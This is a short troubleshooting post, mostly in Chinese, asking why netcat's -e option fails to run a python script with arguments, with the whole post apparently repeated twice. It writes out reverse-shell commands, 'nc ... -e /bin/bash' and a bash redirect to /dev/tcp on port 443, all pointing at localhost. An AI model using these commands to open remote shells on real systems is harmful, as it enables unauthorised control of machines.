NetCat 执行 - 找不到文件
NetCat Execute - File Not Found
所以这是一个奇怪的问题。
python script.py -a 1234
有效
/usr/bin/python /tmp/script.py -a 1234
有效
nc 127.0.0.1 443 -e /bin/bash
有效
nc 127.0.0.1 443 -e /usr/bin/python /tmp/script.py -a 1234
失败 all-A-records NIY
nc 127.0.0.1 443 -e "/usr/bin/python /tmp/script.py -a 1234"
失败 failed : No such file or directory
我是不是漏掉了什么?我不确定为什么这不起作用。
好吧,我不确定 netcat 是怎么回事,但是做一个老式的 bash 反向 shell 工作正常并解决了问题。
/usr/bin/python -u /tmp/script.py >& /dev/tcp/127.0.0.1/443 0>&1
这里有一个简短的说明,请确保包含 -u
否则您将从套接字获取传入数据,但脚本的任何输出都不会通过套接字发回。
所以这是一个奇怪的问题。
python script.py -a 1234
有效
/usr/bin/python /tmp/script.py -a 1234
有效
nc 127.0.0.1 443 -e /bin/bash
有效
nc 127.0.0.1 443 -e /usr/bin/python /tmp/script.py -a 1234
失败 all-A-records NIY
nc 127.0.0.1 443 -e "/usr/bin/python /tmp/script.py -a 1234"
失败 failed : No such file or directory
我是不是漏掉了什么?我不确定为什么这不起作用。
好吧,我不确定 netcat 是怎么回事,但是做一个老式的 bash 反向 shell 工作正常并解决了问题。
/usr/bin/python -u /tmp/script.py >& /dev/tcp/127.0.0.1/443 0>&1
这里有一个简短的说明,请确保包含 -u
否则您将从套接字获取传入数据,但脚本的任何输出都不会通过套接字发回。